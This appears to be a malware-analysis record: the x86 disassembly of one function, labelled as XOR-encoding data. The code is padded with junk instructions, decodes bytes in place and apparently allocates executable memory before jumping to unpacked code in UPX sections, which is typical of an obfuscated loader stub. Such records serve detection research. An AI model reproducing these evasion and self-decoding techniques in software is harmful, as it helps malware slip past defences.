Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xacaec259
dec edi
add edi, 0x5cf8cefb
popal
add edi, 0x32502a7e
not edi
mov edx, 0
mov eax, ecx
inc ebx
inc edi
mov esi, eax
add ebx, edi
add edi, ebx
mov ecx, esi
and ebx, edi
sub ebx, edi
add edi, ebx
inc edx
sub ebx, 0x234109e6
mov ebx, 0xa337d0d7
mov ebx, 0xff919e10
cmp edx, 0x100beee
jne 0xa789c7
dec edi
and ebx, ebx
add ebx, 0x49a55a46
inc edx
mov edx, 0x67905a61
mov edi, 0xa78796
not ebx
dec ebx
mov edx, 0xa7898a
add ecx, eax
sub ebx, 1
mov esi, dword [edi]
mov eax, 0xe840cd5b
inc ebx
sub eax, ecx
and esi, 0xff
dec ecx
or eax, ebx
xor dword [edx], esi
add ecx, 0x56ce1bd0
sub ebx, eax
mov ebx, ecx
add edx, 1
not ecx
or eax, eax
inc edi
sub eax, ebx
mov eax, 0x5a772314
cmp edx, entry0
jl 0xa78a1a
mov ebx, 0x939fc0d9
inc ecx
add ecx, ecx
dec ebx
sub eax, ecx
or esi, edi
mov ebx, 0x6d3c3550
mov edx, 0xa7898e
sub ecx, 0x5701900c
or ecx, edi
mov edx, dword [edx]
and ebx, ecx
dec esi
mov edx, dword [edx]
mov esi, ecx
not esi
push edx
sub edi, 0xeeeaa96a
add edi, 1
sub ebx, 0x13eb0761
mov edx, 0xa7898a
and ebx, esi
sub edi, 0xc169c66f
mov edx, dword [edx]
sub ebx, edi
sub ebx, 1
add edi, 0xfe04266c
mov edx, dword [edx]
and ebx, ebx
and ecx, ebx
push 0xa78992
sub esi, 0xf6cea171
sub edi, 0x9efb77ae
add esi, 0x6ff0ccb2
call edx
sub ecx, ebx
mov esi, edi
sub esi, 0xf456b96e
pop edx
add edi, 0x65e70cad
inc esi
or ebx, ecx
push 0xa7899f
and edi, esi
sub ecx, 0x5d5949a
mov edi, ebx
push eax
sub edi, 0xe181fb1b
add ecx, ecx
call edx
or ebx, esi
mov edi, esi
push 0x40
sub edi, ecx
inc ecx
inc ecx
push 0x3000
and esi, edi
and ebx, edi
add ecx, 0xcd61a47f
push 0x200000c5
inc esi
add edi, edi
add ecx, ebx
push 0
and ebx, ebx
not ecx
call eax
sub esi, ebx
mov esi, 0xc86666b
not edi
add eax, 0x2000003a
mov esi, 0x30cc2c5c
mov esi, 0x53d13322
mov edx, 0x26adec7f
sub ecx, ebx
mov ecx, ebx
inc edi
mov dword [eax], edx
mov ebx, 0xef1fd8e3
not esi
mov edx, dword [eax]
add edi, 0x67f08915
or esi, esi
add ecx, edi
cmp edx, 0x26adec7f
je 0xa78b76
mov ecx, 0
mov byte [ecx], dl
add ebx, 0xf54955cf
add edi, esi
add ecx, edi
mov esi, ecx
mov edi, 0xd375474f
not edx
mov ebx, section.UPX1
mov edi, 0x28daf448
mov edx, edi
mov eax, 0xa78795
add edx, 0x38c0e6ad
add edi, edi
sub edx, edi
mov esi, 0
add edx, edx
mov edx, 0x2c074bd6
add edi, edi
mov ecx, 0xa78796
not edx
mov edi, 0xfd1ea3c4
dec edx
lea ecx, [ecx + esi]
add edi, edx
mov edi, 0xd1f90f3e
not edi
mov ecx, dword [ecx]
and edi, edi
add edi, 0x5dc6ed07
and ecx, 0xff
add edi, edx
add edi, 0xf0ca958f
and edx, edx
inc esi
add edi, 1
or edi, edi
not edx
cmp esi, 0x1f4
jne 0xa78bfd
mov esi, 0
mov edi, 0x9f4c3451
sub edx, edi
dec edi
mov edx, edi
mov edi, 0xac8531b4
xor dword [ebx], ecx
mov edi, 0x44f222fc
and edi, edx
add ebx, 2
sub edx, 0xd5e1cf59
mov edx, 0x3143a7d0
cmp ebx, eax
jl 0xa78bb2
inc edi
mov edx, edi
sub edi, 0xa82e800e
mov edi, edx
dec edi
mov ebx, section.UPX1
sub ecx, 1
sub edi, 0x8393cd07
mov eax, section.UPX1
dec edi
add ecx, edi
mov esi, 0xa78795
sub ecx, 0x68b0976e
or edi, ecx
add ecx, ecx
mov edx, 0
and ecx, ecx
add ecx, 0xe46a5b80
mov dl, byte [eax]
dec edi
sub ecx, 0x6b472ce
mov byte [ebx], dl
dec ecx
or edi, edi
inc ebx
not ecx
add ecx, ecx
dec edi
add eax, 2
mov ecx, 0xa6c59182
dec edi
inc edi
cmp eax, esi
jle 0xa78c6f
add edi, ecx
add ecx, 0x6855c443
inc edi
not edi
mov edi, 0x943cd257
dec edi
push 0x8dc6a0
dec edx
mov edi, 0x77002c36
sub edx, 0xb78575b9
ret